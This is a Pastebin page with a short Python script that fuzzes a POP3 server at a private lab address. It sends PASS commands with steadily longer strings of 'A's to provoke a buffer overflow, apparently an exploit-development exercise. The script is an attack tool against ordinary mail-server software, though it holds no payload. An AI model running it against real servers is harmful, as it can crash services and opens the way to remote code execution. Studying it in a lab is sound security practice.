Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import socket
- # Create an array of 30 buffers increasing in size by 200 characters
- buffer=["A"]
- counter=100
- while len(buffer) <= 30:
- buffer.append("A"*counter)
- counter=counter+200
- for string in buffer:
- print "Fuzzing PASS with %s bytes" % len(string)
- s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- connect=s.connect(('192.168.246.2',110))
- s.recv(1024)
- s.send('USER test\r\n')
- s.recv(1024)
- s.send('PASS ' + string + '\r\n')
- s.send('QUIT\r\n')
- s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement